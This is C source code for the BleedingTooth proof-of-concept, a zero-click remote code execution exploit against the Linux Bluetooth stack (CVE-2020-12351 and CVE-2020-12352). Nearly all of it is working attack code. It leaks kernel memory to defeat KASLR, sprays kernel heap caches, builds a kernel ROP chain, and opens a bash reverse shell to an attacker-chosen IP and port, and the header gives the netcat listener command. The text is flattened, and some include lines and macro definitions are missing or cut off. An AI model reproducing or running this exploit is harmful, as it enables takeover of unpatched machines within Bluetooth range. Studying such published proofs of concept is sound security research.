/* * BleedingTooth: Linux Bluetooth Zero-Click Remote Code Execution * by Andy Nguyen (theflow@) * * This Proof-Of-Concept demonstrates the exploitation of * CVE-2020-12351 and CVE-2020-12352. * * Compile using: * $ gcc -o exploit exploit.c -lbluetooth * * and execute as: * $ sudo ./exploit target_mac source_ip source_port * * In another terminal, run: * $ nc -lvp 1337 * exec bash -i 2>&0 1>&0 * * If successful, a calc can be spawned with: * export XAUTHORITY=/run/user/1000/gdm/Xauthority * export DISPLAY=:0 * gnome-calculator * * This Proof-Of-Concept has been tested against a Dell XPS 15 running * Ubuntu 20.04.1 LTS with: * - 5.4.0-48-generic #52-Ubuntu SMP Thu Sep 10 10:58:49 UTC 2020 * x86_64 x86_64 x86_64 GNU/Linux * * The success rate of the exploit is estimated at 80%. */ #include #include #include #include #include #include #include #include #include #define REMOTE_COMMAND "/bin/bash -c /bin/bash> 8); return crc; } static int connect_l2cap(bdaddr_t dst_addr, uint16_t *handle) { int l2_sock; if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) { perror("[-] socket"); exit(1); } struct sockaddr_l2 laddr = {0}; laddr.l2_family = AF_BLUETOOTH; memcpy(&laddr.l2_bdaddr, BDADDR_ANY, sizeof(bdaddr_t)); if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) { perror("[-] bind"); exit(1); } struct sockaddr_l2 raddr = {0}; raddr.l2_family = AF_BLUETOOTH; raddr.l2_bdaddr = dst_addr; if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0 && errno != EALREADY) { perror("[-] connect"); exit(1); } struct l2cap_conninfo conninfo = {0}; socklen_t len = sizeof(conninfo); if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &conninfo, &len) < 0) { perror("[-] getsockopt"); exit(1); } if (handle) *handle = conninfo.hci_handle; return l2_sock; } static int connect_hci(void) { struct hci_dev_info di = {0}; int hci_device_id = hci_get_route(NULL); int hci_sock = hci_open_dev(hci_device_id); if (hci_devinfo(hci_device_id, &di) < 0) { perror("[-] hci_devinfo"); exit(1); } struct hci_filter flt = {0}; hci_filter_clear(&flt); hci_filter_all_ptypes(&flt); hci_filter_all_events(&flt); if (setsockopt(hci_sock, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) { perror("[-] setsockopt(HCI_FILTER)"); exit(1); } return hci_sock; } static void wait_event_complete_packet(void) { while (1) { uint8_t buf[256] = {0}; if (read(hci_sock, buf, sizeof(buf)) < 0) { perror("[-] read"); exit(1); } if (buf[0] == HCI_EVENT_PKT) { hci_event_hdr *hdr = (hci_event_hdr *)&buf[1]; if (btohs(hdr->evt) == EVT_NUM_COMP_PKTS) break; } } } static void hci_send_acl_data(int hci_sock, uint16_t hci_handle, void *data, uint16_t data_length, uint16_t flags) { uint8_t type = HCI_ACLDATA_PKT; hci_acl_hdr hdr = {0}; hdr.handle = htobs(acl_handle_pack(hci_handle, flags)); hdr.dlen = data_length; struct iovec iv[3] = {0}; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = HCI_ACL_HDR_SIZE; iv[2].iov_base = data; iv[2].iov_len = data_length; if (writev(hci_sock, iv, sizeof(iv) / sizeof(struct iovec)) < 0) { perror("[-] writev"); exit(1); } usleep(HCI_SEND_ACL_DATA_WAIT_USEC); wait_event_complete_packet(); } static void disconnect_a2mp(void) { printf("[*] Disconnecting A2MP channel...\n"); struct { l2cap_hdr hdr; l2cap_cmd_hdr cmd_hdr; l2cap_disconn_req disconn_req; } disconn_req = {0}; disconn_req.hdr.len = htobs(sizeof(disconn_req) - L2CAP_HDR_SIZE); disconn_req.hdr.cid = htobs(SIGNALLING_CID); disconn_req.cmd_hdr.code = L2CAP_DISCONN_REQ; disconn_req.cmd_hdr.ident = L2CAP_IDENT; disconn_req.cmd_hdr.len = htobs(sizeof(disconn_req) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE); disconn_req.disconn_req.dcid = htobs(AMP_MGR_CID); disconn_req.disconn_req.scid = htobs(AMP_MGR_CID); hci_send_acl_data(hci_sock, hci_handle, &disconn_req, sizeof(disconn_req), 2); } static void connect_a2mp(void) { printf("[*] Connecting A2MP channel...\n"); struct { l2cap_hdr hdr; } a2mp_create = {0}; a2mp_create.hdr.len = htobs(sizeof(a2mp_create) - L2CAP_HDR_SIZE); a2mp_create.hdr.cid = htobs(AMP_MGR_CID); hci_send_acl_data(hci_sock, hci_handle, &a2mp_create, sizeof(a2mp_create), 2); // Configure to L2CAP_MODE_BASIC and max MTU. struct { l2cap_hdr hdr; l2cap_cmd_hdr cmd_hdr; l2cap_conf_rsp conf_rsp; l2cap_conf_opt conf_opt; l2cap_conf_rfc conf_rfc; l2cap_conf_opt conf_opt2; uint16_t conf_mtu; } conf_rsp = {0}; conf_rsp.hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE); conf_rsp.hdr.cid = htobs(SIGNALLING_CID); conf_rsp.cmd_hdr.code = L2CAP_CONF_RSP; conf_rsp.cmd_hdr.ident = L2CAP_IDENT; conf_rsp.cmd_hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE); conf_rsp.conf_rsp.scid = htobs(AMP_MGR_CID); conf_rsp.conf_rsp.flags = htobs(0); conf_rsp.conf_rsp.result = htobs(L2CAP_CONF_UNACCEPT); conf_rsp.conf_opt.type = L2CAP_CONF_RFC; conf_rsp.conf_opt.len = sizeof(l2cap_conf_rfc); conf_rsp.conf_rfc.mode = L2CAP_MODE_BASIC; conf_rsp.conf_opt2.type = L2CAP_CONF_MTU; conf_rsp.conf_opt2.len = sizeof(uint16_t); conf_rsp.conf_mtu = htobs(0xffff); hci_send_acl_data(hci_sock, hci_handle, &conf_rsp, sizeof(conf_rsp), 2); } static void prepare_l2cap_chan_addr_leak(void) { printf("[*] Preparing to leak l2cap_chan address...\n"); struct { l2cap_hdr hdr; l2cap_cmd_hdr cmd_hdr; l2cap_conf_rsp conf_rsp; l2cap_conf_opt conf_opt; l2cap_conf_rfc conf_rfc; } conf_rsp = {0}; conf_rsp.hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE); conf_rsp.hdr.cid = htobs(SIGNALLING_CID); conf_rsp.cmd_hdr.code = L2CAP_CONF_RSP; conf_rsp.cmd_hdr.ident = L2CAP_IDENT; conf_rsp.cmd_hdr.len = htobs(sizeof(conf_rsp) - L2CAP_HDR_SIZE - L2CAP_CMD_HDR_SIZE); conf_rsp.conf_rsp.scid = htobs(AMP_MGR_CID); conf_rsp.conf_rsp.flags = htobs(0); conf_rsp.conf_rsp.result = htobs(L2CAP_CONF_UNACCEPT); conf_rsp.conf_opt.type = L2CAP_CONF_RFC; conf_rsp.conf_opt.len = sizeof(l2cap_conf_rfc); conf_rsp.conf_rfc.mode = L2CAP_MODE_ERTM; hci_send_acl_data(hci_sock, hci_handle, &conf_rsp, sizeof(conf_rsp), 2); } static uint64_t leak_kstack(void) { printf("[*] Leaking A2MP kernel stack memory...\n"); struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_info_req info_req; } info_req = {0}; info_req.hdr.len = htobs(sizeof(info_req) - L2CAP_HDR_SIZE); info_req.hdr.cid = htobs(AMP_MGR_CID); info_req.amp_hdr.code = A2MP_INFO_REQ; info_req.amp_hdr.ident = L2CAP_IDENT; info_req.amp_hdr.len = htobs(sizeof(info_req) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); // Use a dummy id to make hci_dev_get() fail. info_req.info_req.id = 0x42; hci_send_acl_data(hci_sock, hci_handle, &info_req, sizeof(info_req), 2); while (1) { uint8_t buf[256] = {0}; if (read(hci_sock, buf, sizeof(buf)) < 0) { perror("[-] read"); exit(1); } if (buf[0] == HCI_ACLDATA_PKT) { l2cap_hdr *l2_hdr = (l2cap_hdr *)&buf[5]; if (btohs(l2_hdr->cid) == AMP_MGR_CID) { a2mp_hdr *amp_hdr = (a2mp_hdr *)&buf[9]; if (amp_hdr->code == A2MP_INFO_RSP) return *(uint64_t *)&buf[21]; } } } return 0; } static void trigger_type_confusion(void) { struct { l2cap_hdr hdr; uint16_t ctrl; a2mp_hdr amp_hdr; a2mp_command_rej cmd_rej; uint16_t fcs; } cmd_rej = {0}; cmd_rej.hdr.len = htobs(sizeof(cmd_rej) - L2CAP_HDR_SIZE); cmd_rej.hdr.cid = htobs(AMP_MGR_CID); cmd_rej.ctrl = 0xffff; cmd_rej.amp_hdr.code = A2MP_COMMAND_REJ; cmd_rej.amp_hdr.ident = L2CAP_IDENT; cmd_rej.amp_hdr.len = htobs(sizeof(cmd_rej) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr) - sizeof(uint32_t)); cmd_rej.cmd_rej.reason = 0; cmd_rej.fcs = crc16(0, &cmd_rej, sizeof(cmd_rej) - sizeof(uint16_t)); hci_send_acl_data(hci_sock, hci_handle, &cmd_rej, sizeof(cmd_rej), 2); } static void build_krop(uint64_t *rop, uint64_t cmd_addr) { *rop++ = kaslr_offset + POP_RAX_RET; *rop++ = kaslr_offset + RUN_CMD; *rop++ = kaslr_offset + POP_RDI_RET; *rop++ = cmd_addr; *rop++ = kaslr_offset + JMP_RAX; *rop++ = kaslr_offset + POP_RAX_RET; *rop++ = kaslr_offset + DO_TASK_DEAD; *rop++ = kaslr_offset + JMP_RAX; } static void build_payload(uint8_t data[0x400]) { // Fake sk_filter object starting at offset 0x300. *(uint64_t *)&data[0x318] = l2cap_chan_addr + 0x320; // prog // Fake bpf_prog object starting at offset 0x320. // RBX points to the amp_mgr object. *(uint64_t *)&data[0x350] = kaslr_offset + PUSH_RSI_ADD_BYTE_PTR_RBX_41_BL_POP_RSP_POP_RBP_RET; // bpf_func *(uint64_t *)&data[0x358] = 0xDEADBEEF; // rbp // Build kernel ROP chain that executes run_cmd() from kernel/reboot.c. // Note that when executing the ROP chain, the data below in memory will be // overwritten. Therefore, the argument should be located after the ROP chain. build_krop((uint64_t *)&data[0x360], l2cap_chan_addr + 0x3c0); strncpy(&data[0x3c0], remote_command, 0x40); } static void spray_kmalloc_1024(int num) { // Skip first two hci devices because they may be legit. for (int i = 2; i < num + 2; i++) { printf("\r[*] Sending packet with id #%d...", i); fflush(stdout); struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_info_rsp info_rsp; } info_rsp = {0}; info_rsp.hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE); info_rsp.hdr.cid = htobs(AMP_MGR_CID); info_rsp.amp_hdr.code = A2MP_INFO_RSP; info_rsp.amp_hdr.ident = L2CAP_IDENT; info_rsp.amp_hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); info_rsp.info_rsp.id = i; hci_send_acl_data(hci_sock, hci_handle, &info_rsp, sizeof(info_rsp), 2); struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_assoc_rsp assoc_rsp; uint8_t data[0x400]; } assoc_rsp = {0}; assoc_rsp.hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE); assoc_rsp.hdr.cid = htobs(AMP_MGR_CID); assoc_rsp.amp_hdr.code = A2MP_ASSOC_RSP; assoc_rsp.amp_hdr.ident = L2CAP_IDENT; assoc_rsp.amp_hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); assoc_rsp.assoc_rsp.id = i; for (int j = 0; j < sizeof(assoc_rsp.data); j += 8) memset(&assoc_rsp.data[j], 'A' + j / 8, 8); build_payload(assoc_rsp.data); // Send fragmented l2cap packets (assume ACL MTU is at least 256 bytes). hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp, sizeof(assoc_rsp) - sizeof(assoc_rsp.data), 2); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x000], 0x100, 1); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x100], 0x100, 1); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x200], 0x100, 1); hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp.data[0x300], 0x100, 1); } printf("\n"); } static void spray_kmalloc_128(int num) { // Skip first two hci devices because they may be legit. for (int i = 2; i < num + 2; i++) { printf("\r[*] Sending packet with id #%d...", i); fflush(stdout); struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_info_rsp info_rsp; } info_rsp = {0}; info_rsp.hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE); info_rsp.hdr.cid = htobs(AMP_MGR_CID); info_rsp.amp_hdr.code = A2MP_INFO_RSP; info_rsp.amp_hdr.ident = L2CAP_IDENT; info_rsp.amp_hdr.len = htobs(sizeof(info_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); info_rsp.info_rsp.id = i; hci_send_acl_data(hci_sock, hci_handle, &info_rsp, sizeof(info_rsp), 2); struct { l2cap_hdr hdr; a2mp_hdr amp_hdr; a2mp_assoc_rsp assoc_rsp; uint8_t data[0x80]; } assoc_rsp = {0}; assoc_rsp.hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE); assoc_rsp.hdr.cid = htobs(AMP_MGR_CID); assoc_rsp.amp_hdr.code = A2MP_ASSOC_RSP; assoc_rsp.amp_hdr.ident = L2CAP_IDENT; assoc_rsp.amp_hdr.len = htobs(sizeof(assoc_rsp) - L2CAP_HDR_SIZE - sizeof(a2mp_hdr)); assoc_rsp.assoc_rsp.id = i; for (int j = 0; j < sizeof(assoc_rsp.data); j += 8) memset(&assoc_rsp.data[j], 'A' + j / 8, 8); // Fake sock object. *(uint64_t *)&assoc_rsp.data[0x10] = l2cap_chan_addr + 0x300; // sk_filter hci_send_acl_data(hci_sock, hci_handle, &assoc_rsp, sizeof(assoc_rsp), 2); } printf("\n"); } int main(int argc, char *argv[]) { if (argc != 4) { printf("Usage: %s target_mac source_ip source_port\n", argv[0]); exit(1); } bdaddr_t dst_addr = {0}; str2ba(argv[1], &dst_addr); snprintf(remote_command, sizeof(remote_command), REMOTE_COMMAND, argv[2], argv[3]); printf("[+] Remote command: %s\n", remote_command); printf("[*] Opening hci device...\n"); hci_sock = connect_hci(); printf("[*] Connecting to victim...\n"); l2_sock = connect_l2cap(dst_addr, &hci_handle); printf("[+] HCI handle: %x\n", hci_handle); connect_a2mp(); uint64_t kernel_addr = leak_kstack(); printf("[+] Kernel address: %lx\n", kernel_addr); KASLR_DEFEAT(kaslr_offset, kernel_addr); printf("[+] KASLR offset: %lx\n", kaslr_offset); if ((kaslr_offset & 0xfffff) != 0) { printf("[-] Error KASLR offset is invalid.\n"); exit(1); } prepare_l2cap_chan_addr_leak(); l2cap_chan_addr = leak_kstack() - 0x110; printf("[+] l2cap_chan address: %lx\n", l2cap_chan_addr); if ((l2cap_chan_addr & 0xff) != 0) { printf("[-] Error l2cap_chan address is invalid.\n"); exit(1); } // Somehow, spraying a bit before makes the UaF more reliable. printf("[*] Spraying kmalloc-1024...\n"); spray_kmalloc_1024(0x40); // Disconnect to free the l2cap_chan object, then reconnect. disconnect_a2mp(); connect_a2mp(); // Attempt to reclaim the freed l2cap_chan object. printf("[*] Spraying kmalloc-1024...\n"); for (int i = 0; i < NUM_SPRAY_KMALLOC_1024; i++) { spray_kmalloc_1024(0x40); } // Attempt to control the out-of-bounds read. printf("[*] Spraying kmalloc-128...\n"); for (int i = 0; i < NUM_SPRAY_KMALLOC_128; i++) { spray_kmalloc_128(0x40); } printf("[*] Triggering remote code execution...\n"); disconnect_a2mp(); trigger_type_confusion(); close(l2_sock); hci_close_dev(hci_sock); return 0; }